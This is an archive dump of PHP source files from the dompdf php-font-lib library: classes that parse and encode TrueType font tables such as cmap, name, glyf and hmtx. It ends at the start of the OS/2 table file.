   * Get font subfamily ID
   *
   * @return string|null
   */
  function getFontSubfamilyID() {
    return $this->header->data["StyleName"];
  }

  /**
   * Get font full name
   *
   * @return string|null
   */
  function getFontFullName() {
    return $this->header->data["FullName"];
  }

  /**
   * Get font version
   *
   * @return string|null
   */
  function getFontVersion() {
    return $this->header->data["VersionName"];
  }

  /**
   * Get font weight
   *
   * @return string|null
   */
  function getFontWeight() {
    return $this->header->data["Weight"];
  }

  /**
   * Get font Postscript name
   *
   * @return string|null
   */
  function getFontPostscriptName() {
    return null;
  }
}
vendor/dompdf/php-font-lib/src/FontLib/Table/Type/cmap.php000066600000026366151150442750017363 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;
use FontLib\Table\Table;

/**
 * `cmap` font table.
 *
 * @package php-font-lib
 */
class cmap extends Table {
  private static $header_format = array(
    "version"         => self::uint16,
    "numberSubtables" => self::uint16,
  );

  private static $subtable_header_format = array(
    "platformID"         => self::uint16,
    "platformSpecificID" => self::uint16,
    "offset"             => self::uint32,
  );

  private static $subtable_v2_format = array(
    "length"        => self::uint16,
    "language"      => self::uint16
  );

  private static $subtable_v2_format_subheader = array(
    "firstCode"     => self::uint16,
    "entryCount"    => self::uint16,
    "idDelta"       => self::int16,
    "idRangeOffset" => self::uint16
  );

  private static $subtable_v4_format = array(
    "length"        => self::uint16,
    "language"      => self::uint16,
    "segCountX2"    => self::uint16,
    "searchRange"   => self::uint16,
    "entrySelector" => self::uint16,
    "rangeShift"    => self::uint16,
  );

  private static $subtable_v12_format = array(
    "length"        => self::uint32,
    "language"      => self::uint32,
    "ngroups"       => self::uint32
  );

  protected function _parse() {
    $font = $this->getFont();

    $cmap_offset = $font->pos();

    $data = $font->unpack(self::$header_format);

    $subtables = array();
    for ($i = 0; $i < $data["numberSubtables"]; $i++) {
      $subtables[] = $font->unpack(self::$subtable_header_format);
    }

    $data["subtables"] = $subtables;

    foreach ($data["subtables"] as $i => &$subtable) {
      $font->seek($cmap_offset + $subtable["offset"]);

      $subtable["format"] = $font->readUInt16();

      switch ($subtable["format"]) {
        case 0:
        case 6:
        case 8:
        case 10:
        case 13:
        case 14:
          unset($data["subtables"][$i]);
          $data["numberSubtables"]--;
          continue 2;

        case 2:
          $subtable += $font->unpack(self::$subtable_v2_format);

          $subHeaderKeys = array_map(function($val) { return $val / 8; }, $font->readUInt16Many(256));
          $subHeaders = array();

          $glyphIdArray = array();
          $maxSubHeaderIndex = max($subHeaderKeys);
          for ($i = 0; $i <= $maxSubHeaderIndex; $i++) {
            $subHeader = $font->unpack(self::$subtable_v2_format_subheader);
            $offset = $font->pos();
            $subHeader["glyphIdArrayOffset"] = $offset + $subHeader["idRangeOffset"] - 2;
            $subHeaders[$i] = $subHeader;

            if (!\array_key_exists($subHeader["glyphIdArrayOffset"], $glyphIdArray) || count($glyphIdArray[$subHeader["glyphIdArrayOffset"]]) < $subHeader["entryCount"]) {
              $font->seek($subHeader["glyphIdArrayOffset"]);
              $glyphIdArray[$subHeader["glyphIdArrayOffset"]] = $font->readUInt16Many($subHeader["entryCount"]);
              $font->seek($offset);
            }
          }

          $glyphIndexArray = array();
          foreach ($subHeaderKeys as $highByte => $subHeaderKey) {
            $subHeader = $subHeaders[$subHeaderKey];
            if ($subHeaderKey === 0) {
              $c = $highByte;
              if ($c < $subHeader["firstCode"] || $c >= ($subHeader["firstCode"] + $subHeader["entryCount"])) {
                $glyphIndexArray[$c] = 0;
                continue;
              }
              $c = $highByte;
              $index = $c - $subHeader["firstCode"];
              $glyphId = $glyphIdArray[$subHeader["glyphIdArrayOffset"]][$index];
              if ($glyphId === 0) {
                $glyphIndexArray[$c] = 0;
              } else {
                $glyphIndexArray[$c] = ($glyphId + $subHeader["idDelta"]) & 0xFFFF;
              }
            } else {
              for ($index = 0; $index < $subHeader["entryCount"]; $index++) {
                $c = null;
                $lowByte = $subHeader["firstCode"] + $index;
                $c = (($highByte & 0xFF) << 8) | ($lowByte & 0xFF);
                $glyphId = $glyphIdArray[$subHeader["glyphIdArrayOffset"]][$index];
                if ($glyphId === 0) {
                  $glyphIndexArray[$c] = 0;
                } else {
                  $glyphIndexArray[$c] = ($glyphId + $subHeader["idDelta"]) & 0xFFFF;
                }
              }
            }
          }

          $subtable += array(
            "subHeaderKeys" => $subHeaderKeys,
            "subHeaders" => $subHeaders,
            "glyphIdArray" => $glyphIdArray,
            "glyphIndexArray" => $glyphIndexArray
          );

          break;

        case 4:
          $subtable += $font->unpack(self::$subtable_v4_format);

          $segCount             = $subtable["segCountX2"] / 2;
          $subtable["segCount"] = $segCount;
  
          $endCode = $font->readUInt16Many($segCount);
  
          $font->readUInt16(); // reservedPad
  
          $startCode = $font->readUInt16Many($segCount);
          $idDelta   = $font->readInt16Many($segCount);
  
          $ro_start      = $font->pos();
          $idRangeOffset = $font->readUInt16Many($segCount);
  
          $glyphIndexArray = array();
          for ($i = 0; $i < $segCount; $i++) {
            $c1 = $startCode[$i];
            $c2 = $endCode[$i];
            $d  = $idDelta[$i];
            $ro = $idRangeOffset[$i];
  
            if ($ro > 0) {
              $font->seek($subtable["offset"] + 2 * $i + $ro);
            }
  
            for ($c = $c1; $c <= $c2; $c++) {
              if ($c === 0xFFFF) {
                continue;
              }
  
              if ($ro == 0) {
                $gid = ($c + $d) & 0xFFFF;
              }
              else {
                $offset = ($c - $c1) * 2 + $ro;
                $offset = $ro_start + 2 * $i + $offset;
  
                $gid = 0;
                if ($font->seek($offset) === true) {
                  $gid = $font->readUInt16();
                }
  
                if ($gid != 0) {
                  $gid = ($gid + $d) & 0xFFFF;
                }
              }
  
              if ($gid >= 0) {
                $glyphIndexArray[$c] = $gid;
              }
            }
          }
  
          $subtable += array(
            "endCode"         => $endCode,
            "startCode"       => $startCode,
            "idDelta"         => $idDelta,
            "idRangeOffset"   => $idRangeOffset,
            "glyphIndexArray" => $glyphIndexArray
          );
          break;

        case 12:
          $font->readUInt16();

          $subtable += $font->unpack(self::$subtable_v12_format);

          $glyphIndexArray = array();
          $endCodes = array();
          $startCodes = array();

          for ($p = 0; $p < $subtable['ngroups']; $p++) {

            $startCode = $startCodes[] = $font->readUInt32();
            $endCode = $endCodes[] = $font->readUInt32();
            $startGlyphCode = $font->readUInt32();

            for ($c = $startCode; $c <= $endCode; $c++) {
              $glyphIndexArray[$c] = $startGlyphCode;
              $startGlyphCode++;
            }
          }

          $subtable += array(
            "startCode" => $startCodes,
            "endCode" => $endCodes,
            "glyphIndexArray" => $glyphIndexArray,
          );
          break;
      }
    }

    $this->data = $data;
  }

  function _encode() {
    $font = $this->getFont();

    $subset          = $font->getSubset();
    $glyphIndexArray = $font->getUnicodeCharMap();

    $newGlyphIndexArray = array();
    foreach ($glyphIndexArray as $code => $gid) {
      $new_gid = array_search($gid, $subset);
      if ($new_gid !== false) {
        $newGlyphIndexArray[$code] = $new_gid;
      }
    }

    ksort($newGlyphIndexArray); // Sort by char code

    $segments = array();

    $i        = -1;
    $prevCode = 0xFFFF;
    $prevGid  = 0xFFFF;

    foreach ($newGlyphIndexArray as $code => $gid) {
      if (
        $prevCode + 1 != $code ||
        $prevGid + 1 != $gid
      ) {
        $i++;
        $segments[$i] = array();
      }

      $segments[$i][] = array($code, $gid);

      $prevCode = $code;
      $prevGid  = $gid;
    }

    $segments[][] = array(0xFFFF, null);

    $startCode = array();
    $endCode   = array();
    $idDelta   = array();

    foreach ($segments as $codes) {
      $start = reset($codes);
      $end   = end($codes);

      $startCode[] = $start[0];
      $endCode[]   = $end[0];
      $idDelta[]   = $start[1] - $start[0];
    }

    $segCount      = count($startCode);
    $idRangeOffset = array_fill(0, $segCount, 0);

    $searchRange   = 1;
    $entrySelector = 0;
    while ($searchRange * 2 <= $segCount) {
      $searchRange *= 2;
      $entrySelector++;
    }
    $searchRange *= 2;
    $rangeShift = $segCount * 2 - $searchRange;

    $subtables = array(
      array(
        // header
        "platformID"         => 3, // Unicode
        "platformSpecificID" => 1,
        "offset"             => null,

        // subtable
        "format"             => 4,
        "length"             => null,
        "language"           => 0,
        "segCount"           => $segCount,
        "segCountX2"         => $segCount * 2,
        "searchRange"        => $searchRange,
        "entrySelector"      => $entrySelector,
        "rangeShift"         => $rangeShift,
        "startCode"          => $startCode,
        "endCode"            => $endCode,
        "idDelta"            => $idDelta,
        "idRangeOffset"      => $idRangeOffset,
        "glyphIndexArray"    => $newGlyphIndexArray,
      )
    );

    $data = array(
      "version"         => 0,
      "numberSubtables" => count($subtables),
      "subtables"       => $subtables,
    );

    $length = $font->pack(self::$header_format, $data);

    $subtable_headers_size   = $data["numberSubtables"] * 8; // size of self::$subtable_header_format
    $subtable_headers_offset = $font->pos();

    $length += $font->write(str_repeat("\0", $subtable_headers_size), $subtable_headers_size);

    // write subtables data
    foreach ($data["subtables"] as $i => $subtable) {
      $length_before                   = $length;
      $data["subtables"][$i]["offset"] = $length;

      $length += $font->writeUInt16($subtable["format"]);

      $before_subheader = $font->pos();
      $length += $font->pack(self::$subtable_v4_format, $subtable);

      $segCount = $subtable["segCount"];
      $length += $font->w(array(self::uint16, $segCount), $subtable["endCode"]);
      $length += $font->writeUInt16(0); // reservedPad
      $length += $font->w(array(self::uint16, $segCount), $subtable["startCode"]);
      $length += $font->w(array(self::int16, $segCount), $subtable["idDelta"]);
      $length += $font->w(array(self::uint16, $segCount), $subtable["idRangeOffset"]);
      $length += $font->w(array(self::uint16, $segCount), array_values($subtable["glyphIndexArray"]));

      $after_subtable = $font->pos();

      $subtable["length"] = $length - $length_before;
      $font->seek($before_subheader);
      $font->pack(self::$subtable_v4_format, $subtable);

      $font->seek($after_subtable);
    }

    // write subtables headers
    $font->seek($subtable_headers_offset);
    foreach ($data["subtables"] as $subtable) {
      $font->pack(self::$subtable_header_format, $subtable);
    }

    return $length;
  }
}
vendor/dompdf/php-font-lib/src/FontLib/Table/Type/post.php000066600000006002151150442750017411 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;
use FontLib\Table\Table;
use FontLib\TrueType\File;

/**
 * `post` font table.
 *
 * @package php-font-lib
 */
class post extends Table {
  protected $def = array(
    "format"             => self::Fixed,
    "italicAngle"        => self::Fixed,
    "underlinePosition"  => self::FWord,
    "underlineThickness" => self::FWord,
    "isFixedPitch"       => self::uint32,
    "minMemType42"       => self::uint32,
    "maxMemType42"       => self::uint32,
    "minMemType1"        => self::uint32,
    "maxMemType1"        => self::uint32,
  );

  protected function _parse() {
    $font = $this->getFont();
    $data = $font->unpack($this->def);

    $names = array();

    switch ($data["format"]) {
      case 1:
        $names = File::$macCharNames;
        break;

      case 2:
        $data["numberOfGlyphs"] = $font->readUInt16();

        $glyphNameIndex = $font->readUInt16Many($data["numberOfGlyphs"]);

        $data["glyphNameIndex"] = $glyphNameIndex;

        $namesPascal = array();
        for ($i = 0; $i < $data["numberOfGlyphs"]; $i++) {
          $len           = $font->readUInt8();
          $namesPascal[] = $font->read($len);
        }

        foreach ($glyphNameIndex as $g => $index) {
          if ($index < 258) {
            $names[$g] = File::$macCharNames[$index];
          }
          else {
            if (array_key_exists($index - 258, $namesPascal)) {
              $names[$g] = $namesPascal[$index - 258];
            }
          }
        }

        break;

      case 2.5:
        // TODO
        break;

      case 3:
        // nothing
        break;

      case 4:
        // TODO
        break;
    }

    $data["names"] = $names;

    $this->data = $data;
  }

  function _encode() {
    $font           = $this->getFont();
    $data           = $this->data;
    $data["format"] = 3;

    $length = $font->pack($this->def, $data);

    return $length;
    /*
    $subset = $font->getSubset();

    switch($data["format"]) {
      case 1:
        // nothing to do
      break;

      case 2:
        $old_names = $data["names"];

        $glyphNameIndex = range(0, count($subset));

        $names = array();
        foreach($subset as $gid) {
          $names[] = $data["names"][$data["glyphNameIndex"][$gid]];
        }

        $numberOfGlyphs = count($names);
        $length += $font->writeUInt16($numberOfGlyphs);

        foreach($glyphNameIndex as $gni) {
          $length += $font->writeUInt16($gni);
        }

        //$names = array_slice($names, 257);
        foreach($names as $name) {
          $len = strlen($name);
          $length += $font->writeUInt8($len);
          $length += $font->write($name, $len);
        }

      break;

      case 2.5:
        // TODO
      break;

      case 3:
        // nothing
      break;

      case 4:
        // TODO
      break;
    }

    return $length;*/
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/Type/cvt.php000066600000001130151150442750017215 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;
use FontLib\Table\Table;

/**
 * `cvt ` font table.
 *
 * @package php-font-lib
 */
class cvt extends Table {
  private $rawData;
  protected function _parse() {
    $font = $this->getFont();
    $font->seek($this->entry->offset);
    $this->rawData = $font->read($this->entry->length);
  }
  function _encode() {
    return $this->getFont()->write($this->rawData, $this->entry->length);
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/Type/hmtx.php000066600000003321151150442750017405 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;
use FontLib\Table\Table;

/**
 * `hmtx` font table.
 *
 * @package php-font-lib
 */
class hmtx extends Table {
  protected function _parse() {
    $font   = $this->getFont();
    $offset = $font->pos();

    $numOfLongHorMetrics = $font->getData("hhea", "numOfLongHorMetrics");
    $numGlyphs           = $font->getData("maxp", "numGlyphs");

    $font->seek($offset);

    $data = array();
    $metrics = $font->readUInt16Many($numOfLongHorMetrics * 2);
    for ($gid = 0, $mid = 0; $gid < $numOfLongHorMetrics; $gid++) {
      $advanceWidth    = isset($metrics[$mid]) ? $metrics[$mid] : 0;
      $mid += 1;
      $leftSideBearing = isset($metrics[$mid]) ? $metrics[$mid] : 0;
      $mid += 1;
      $data[$gid]      = array($advanceWidth, $leftSideBearing);
    }

    if ($numOfLongHorMetrics < $numGlyphs) {
      $lastWidth = end($data)[0];
      $numLeft   = $numGlyphs - $numOfLongHorMetrics;
      $metrics   = $font->readUInt16Many($numLeft);
      for($i = 0; $i < $numLeft; $i++) {
        $gid             = $numOfLongHorMetrics + $i;
        $leftSideBearing = isset($metrics[$i]) ? $metrics[$i] : 0;
        $data[$gid]      = array($lastWidth, $leftSideBearing);
      }
    }

    $this->data = $data;
  }

  protected function _encode() {
    $font   = $this->getFont();
    $subset = $font->getSubset();
    $data   = $this->data;

    $length = 0;

    foreach ($subset as $gid) {
      $length += $font->writeUInt16($data[$gid][0]);
      $length += $font->writeUInt16($data[$gid][1]);
    }

    return $length;
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/Type/name.php000066600000014442151150442750017353 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;

use FontLib\Table\Table;
use FontLib\Font;

/**
 * `name` font table.
 *
 * @package php-font-lib
 */
class name extends Table {
  private static $header_format = array(
    "format"       => self::uint16,
    "count"        => self::uint16,
    "stringOffset" => self::uint16,
  );

  const NAME_COPYRIGHT          = 0;
  const NAME_NAME               = 1;
  const NAME_SUBFAMILY          = 2;
  const NAME_SUBFAMILY_ID       = 3;
  const NAME_FULL_NAME          = 4;
  const NAME_VERSION            = 5;
  const NAME_POSTSCRIPT_NAME    = 6;
  const NAME_TRADEMARK          = 7;
  const NAME_MANUFACTURER       = 8;
  const NAME_DESIGNER           = 9;
  const NAME_DESCRIPTION        = 10;
  const NAME_VENDOR_URL         = 11;
  const NAME_DESIGNER_URL       = 12;
  const NAME_LICENSE            = 13;
  const NAME_LICENSE_URL        = 14;
  const NAME_PREFERRE_FAMILY    = 16;
  const NAME_PREFERRE_SUBFAMILY = 17;
  const NAME_COMPAT_FULL_NAME   = 18;
  const NAME_SAMPLE_TEXT        = 19;

  static $nameIdCodes = array(
    0  => "Copyright",
    1  => "FontName",
    2  => "FontSubfamily",
    3  => "UniqueID",
    4  => "FullName",
    5  => "Version",
    6  => "PostScriptName",
    7  => "Trademark",
    8  => "Manufacturer",
    9  => "Designer",
    10 => "Description",
    11 => "FontVendorURL",
    12 => "FontDesignerURL",
    13 => "LicenseDescription",
    14 => "LicenseURL",
    // 15
    16 => "PreferredFamily",
    17 => "PreferredSubfamily",
    18 => "CompatibleFullName",
    19 => "SampleText",
  );

  static $platforms = array(
    0 => "Unicode",
    1 => "Macintosh",
    // 2 =>  Reserved
    3 => "Microsoft",
  );

  static $platformSpecific = array(
    // Unicode
    0 => array(
      0 => "Default semantics",
      1 => "Version 1.1 semantics",
      2 => "ISO 10646 1993 semantics (deprecated)",
      3 => "Unicode 2.0 or later semantics",
    ),

    // Macintosh
    1 => array(
      0  => "Roman",
      1  => "Japanese",
      2  => "Traditional Chinese",
      3  => "Korean",
      4  => "Arabic",
      5  => "Hebrew",
      6  => "Greek",
      7  => "Russian",
      8  => "RSymbol",
      9  => "Devanagari",
      10 => "Gurmukhi",
      11 => "Gujarati",
      12 => "Oriya",
      13 => "Bengali",
      14 => "Tamil",
      15 => "Telugu",
      16 => "Kannada",
      17 => "Malayalam",
      18 => "Sinhalese",
      19 => "Burmese",
      20 => "Khmer",
      21 => "Thai",
      22 => "Laotian",
      23 => "Georgian",
      24 => "Armenian",
      25 => "Simplified Chinese",
      26 => "Tibetan",
      27 => "Mongolian",
      28 => "Geez",
      29 => "Slavic",
      30 => "Vietnamese",
      31 => "Sindhi",
    ),

    // Microsoft
    3 => array(
      0  => "Symbol",
      1  => "Unicode BMP (UCS-2)",
      2  => "ShiftJIS",
      3  => "PRC",
      4  => "Big5",
      5  => "Wansung",
      6  => "Johab",
      //  7 => Reserved
      //  8 => Reserved
      //  9 => Reserved
      10 => "Unicode UCS-4",
    ),
  );

  protected function _parse() {
    $font = $this->getFont();

    $tableOffset = $font->pos();

    $data = $font->unpack(self::$header_format);

    $records = array();
    for ($i = 0; $i < $data["count"]; $i++) {
      $record      = new nameRecord();
      $record_data = $font->unpack(nameRecord::$format);
      $record->map($record_data);

      $records[] = $record;
    }

    $system_encodings = mb_list_encodings();
    $system_encodings = array_change_key_case(array_fill_keys($system_encodings, true), CASE_UPPER);
    
    $names = array();
    foreach ($records as $record) {
      $font->seek($tableOffset + $data["stringOffset"] + $record->offset);
      $record->stringRaw = $font->read($record->length);

      $encoding = null;
      switch ($record->platformID) {
        case 3:
          switch ($record->platformSpecificID) {
            case 2:
              if (\array_key_exists("SJIS", $system_encodings)) {
                $encoding = "SJIS";
              }
              break;
            case 3:
              if (\array_key_exists("GB18030", $system_encodings)) {
                $encoding = "GB18030";
              }
              break;
            case 4:
              if (\array_key_exists("BIG-5", $system_encodings)) {
                $encoding = "BIG-5";
              }
              break;
            case 5:
              if (\array_key_exists("UHC", $system_encodings)) {
                $encoding = "UHC";
              }
              break;
          }
          break;
      }
      if ($encoding === null) {
        $encoding = "UTF-16";
      }

      $record->string = mb_convert_encoding($record->stringRaw, "UTF-8", $encoding);
      if (strpos($record->string, "\0") !== false) {
        $record->string = str_replace("\0", "", $record->string);
      }
      $names[$record->nameID] = $record;
    }

    $data["records"] = $names;

    $this->data = $data;
  }

  protected function _encode() {
    $font = $this->getFont();

    /** @var nameRecord[] $records */
    $records       = $this->data["records"];
    $count_records = \count($records);

    $this->data["count"]        = $count_records;
    $this->data["stringOffset"] = 6 + ($count_records * 12); // 6 => uint16 * 3, 12 => sizeof self::$record_format

    $length = $font->pack(self::$header_format, $this->data);

    $offset = 0;

    /** @var nameRecord[] $records_to_encode */
    $records_to_encode = array();
    foreach ($records as $record) {
      $encoded_record = new nameRecord();
      $encoded_record->platformID = 3;
      $encoded_record->platformSpecificID = 1;
      $encoded_record->languageID = $record->languageID;
      $encoded_record->nameID = $record->nameID;
      $encoded_record->offset = $offset;
      $encoded_record->string = $record->string;
      $encoded_record->length = mb_strlen($encoded_record->getUTF16(), "8bit");
      $records_to_encode[] = $encoded_record;

      $offset += $encoded_record->length;
      $length += $font->pack(nameRecord::$format, (array)$encoded_record);
    }

    foreach ($records_to_encode as $record) {
      $str = $record->getUTF16();
      $length += $font->write($str, mb_strlen($str, "8bit"));
    }

    return $length;
  }
}
vendor/dompdf/php-font-lib/src/FontLib/Table/Type/maxp.php000066600000002246151150442750017377 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;
use FontLib\Table\Table;

/**
 * `maxp` font table.
 *
 * @package php-font-lib
 */
class maxp extends Table {
  protected $def = array(
    "version"               => self::Fixed,
    "numGlyphs"             => self::uint16,
    "maxPoints"             => self::uint16,
    "maxContours"           => self::uint16,
    "maxComponentPoints"    => self::uint16,
    "maxComponentContours"  => self::uint16,
    "maxZones"              => self::uint16,
    "maxTwilightPoints"     => self::uint16,
    "maxStorage"            => self::uint16,
    "maxFunctionDefs"       => self::uint16,
    "maxInstructionDefs"    => self::uint16,
    "maxStackElements"      => self::uint16,
    "maxSizeOfInstructions" => self::uint16,
    "maxComponentElements"  => self::uint16,
    "maxComponentDepth"     => self::uint16,
  );

  function _encode() {
    $font                    = $this->getFont();
    $this->data["numGlyphs"] = count($font->getSubset());

    return parent::_encode();
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/Type/head.php000066600000002567151150442750017341 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;
use FontLib\Table\Table;
use Exception;

/**
 * `head` font table.
 *
 * @package php-font-lib
 */
class head extends Table {
  protected $def = array(
    "tableVersion"       => self::Fixed,
    "fontRevision"       => self::Fixed,
    "checkSumAdjustment" => self::uint32,
    "magicNumber"        => self::uint32,
    "flags"              => self::uint16,
    "unitsPerEm"         => self::uint16,
    "created"            => self::longDateTime,
    "modified"           => self::longDateTime,
    "xMin"               => self::FWord,
    "yMin"               => self::FWord,
    "xMax"               => self::FWord,
    "yMax"               => self::FWord,
    "macStyle"           => self::uint16,
    "lowestRecPPEM"      => self::uint16,
    "fontDirectionHint"  => self::int16,
    "indexToLocFormat"   => self::int16,
    "glyphDataFormat"    => self::int16,
  );

  protected function _parse() {
    parent::_parse();

    if ($this->data["magicNumber"] != 0x5F0F3CF5) {
      throw new Exception("Incorrect magic number (" . dechex($this->data["magicNumber"]) . ")");
    }
  }

  function _encode() {
    $this->data["checkSumAdjustment"] = 0;
    return parent::_encode();
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/Type/nameRecord.php000066600000002143151150442750020505 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace FontLib\Table\Type;

use FontLib\Font;
use FontLib\BinaryStream;

/**
 * Font table name record.
 *
 * @package php-font-lib
 */
class nameRecord extends BinaryStream {
  public $platformID;
  public $platformSpecificID;
  public $languageID;
  public $nameID;
  public $length;
  public $offset;
  public $string;
  public $stringRaw;

  public static $format = array(
    "platformID"         => self::uint16,
    "platformSpecificID" => self::uint16,
    "languageID"         => self::uint16,
    "nameID"             => self::uint16,
    "length"             => self::uint16,
    "offset"             => self::uint16,
  );

  public function map($data) {
    foreach ($data as $key => $value) {
      $this->$key = $value;
    }
  }

  public function getUTF8() {
    return $this->string;
  }

  public function getUTF16() {
    return Font::UTF8ToUTF16($this->string);
  }

  function __toString() {
    return $this->string;
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/Type/hhea.php000066600000002200151150442750017325 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;
use FontLib\Table\Table;

/**
 * `hhea` font table.
 *
 * @package php-font-lib
 */
class hhea extends Table {
  protected $def = array(
    "version"             => self::Fixed,
    "ascent"              => self::FWord,
    "descent"             => self::FWord,
    "lineGap"             => self::FWord,
    "advanceWidthMax"     => self::uFWord,
    "minLeftSideBearing"  => self::FWord,
    "minRightSideBearing" => self::FWord,
    "xMaxExtent"          => self::FWord,
    "caretSlopeRise"      => self::int16,
    "caretSlopeRun"       => self::int16,
    "caretOffset"         => self::FWord,
    self::int16,
    self::int16,
    self::int16,
    self::int16,
    "metricDataFormat"    => self::int16,
    "numOfLongHorMetrics" => self::uint16,
  );

  function _encode() {
    $font                              = $this->getFont();
    $this->data["numOfLongHorMetrics"] = count($font->getSubset());

    return parent::_encode();
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/Type/glyf.php000066600000010502151150442750017365 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;

use FontLib\Table\Table;
use FontLib\Glyph\Outline;
use FontLib\Glyph\OutlineSimple;

/**
 * `glyf` font table.
 *
 * @package php-font-lib
 * @property Outline[] $data
 */
class glyf extends Table {
  protected function _parse() {
    $font   = $this->getFont();
    $offset = $font->pos();

    $loca      = $font->getData("loca");
    $real_loca = array_slice($loca, 0, -1); // Not the last dummy loca entry

    $data = array();

    foreach ($real_loca as $gid => $location) {
      $_offset    = $offset + $loca[$gid];
      $_size      = $loca[$gid + 1] - $loca[$gid];
      $data[$gid] = Outline::init($this, $_offset, $_size, $font);
    }

    $this->data = $data;
  }

  public function getGlyphIDs($gids = array()) {
    $glyphIDs = array();

    foreach ($gids as $_gid) {
      $_glyph   = $this->data[$_gid];
      $glyphIDs = array_merge($glyphIDs, $_glyph->getGlyphIDs());
    }

    return array_unique(array_merge($gids, $glyphIDs));
  }

  public function toHTML($n = 500) {
    $max  = 160;
    $font = $this->getFont();

    $head      = $font->getData("head");
    $head_json = json_encode($head);

    $os2      = $font->getData("OS/2");
    $os2_json = json_encode($os2);

    $hmtx      = $font->getData("hmtx");
    $hmtx_json = json_encode($hmtx);

    $names           = $font->getData("post", "names");
    $glyphIndexArray = array_flip($font->getUnicodeCharMap());

    $width  = (abs($head["xMin"]) + $head["xMax"]);
    $height = (abs($head["yMin"]) + $head["yMax"]);

    $ratio = 1;
    if ($width > $max || $height > $max) {
      $ratio  = max($width, $height) / $max;
      $width  = round($width / $ratio);
      $height = round($height / $ratio);
    }

    $s = "<h3>" . "Only the first $n simple glyphs are shown (" . count($this->data) . " total)
    <div class='glyph-view simple'>Simple glyph</div>
    <div class='glyph-view composite'>Composite glyph</div>
    Zoom: <input type='range' value='100' max='400' onchange='Glyph.resize(this.value)' />
    </h3>
    <script>
      Glyph.ratio  = $ratio;
      Glyph.head   = $head_json;
      Glyph.os2    = $os2_json;
      Glyph.hmtx   = $hmtx_json;
      Glyph.width  = $width;
      Glyph.height = $height;
    </script>";

    foreach ($this->data as $g => $glyph) {
      if ($n-- <= 0) {
        break;
      }

      $glyph->parseData();

      $shape      = array(
        "SVGContours" => $glyph->getSVGContours(),
        "xMin"        => $glyph->xMin,
        "yMin"        => $glyph->yMin,
        "xMax"        => $glyph->xMax,
        "yMax"        => $glyph->yMax,
      );
      $shape_json = json_encode($shape);

      $type = ($glyph instanceof OutlineSimple ? "simple" : "composite");
      $char = isset($glyphIndexArray[$g]) ? $glyphIndexArray[$g] : 0;
      $name = isset($names[$g]) ? $names[$g] : sprintf("uni%04x", $char);
      $char = $char ? "&#{$glyphIndexArray[$g]};" : "";

      if ($char === "" && empty($shape["SVGContours"])) {
        $n++;
        continue;
      }

      $s .= "<div class='glyph-view $type' id='glyph-$g'>
              <span class='glyph-id'>$g</span>
              <span class='char'>$char</span>
              <span class='char-name'>$name</span>
              ";

      if ($type == "composite") {
        foreach ($glyph->getGlyphIDs() as $_id) {
          $s .= "<a href='#glyph-$_id' class='glyph-component-id'>$_id</a> ";
        }
      }

      $s .= "<br />
            <canvas width='$width' height='$height' id='glyph-canvas-$g'></canvas>
            </div>
            <script>Glyph.glyphs.push([$g,$shape_json]);</script>";
    }

    return $s;
  }


  protected function _encode() {
    $font   = $this->getFont();
    $subset = $font->getSubset();
    $data   = $this->data;

    $loca = array();

    $length = 0;
    foreach ($subset as $gid) {
      $loca[] = $length;

      $bytes = $data[$gid]->encode();

      $pad = 0;
      $mod = $bytes % 4;
      if ($mod != 0) {
        $pad = 4 - $mod;
        $font->write(str_pad("", $pad, "\0"), $pad);
      }
      $length += $bytes + $pad;
    }

    $loca[]                             = $length; // dummy loca
    $font->getTableObject("loca")->data = $loca;

    return $length;
  }
}vendor/dompdf/php-font-lib/src/FontLib/Table/Type/prep.php000066600000001134151150442750017373 0ustar00<?php

/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\Table\Type;

use FontLib\Table\Table;

/**
 * `prep` font table.
 *
 * @package php-font-lib
 */
class prep extends Table
{
  private $rawData;
  protected function _parse() {
    $font = $this->getFont();
    $font->seek($this->entry->offset);
    $this->rawData = $font->read($this->entry->length);
  }
  function _encode() {
    return $this->getFont()->write($this->rawData, $this->entry->length);
  }
}
vendor/dompdf/php-font-lib/src/FontLib/Table/Type/os2.php000066600000002760151150442750017136 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

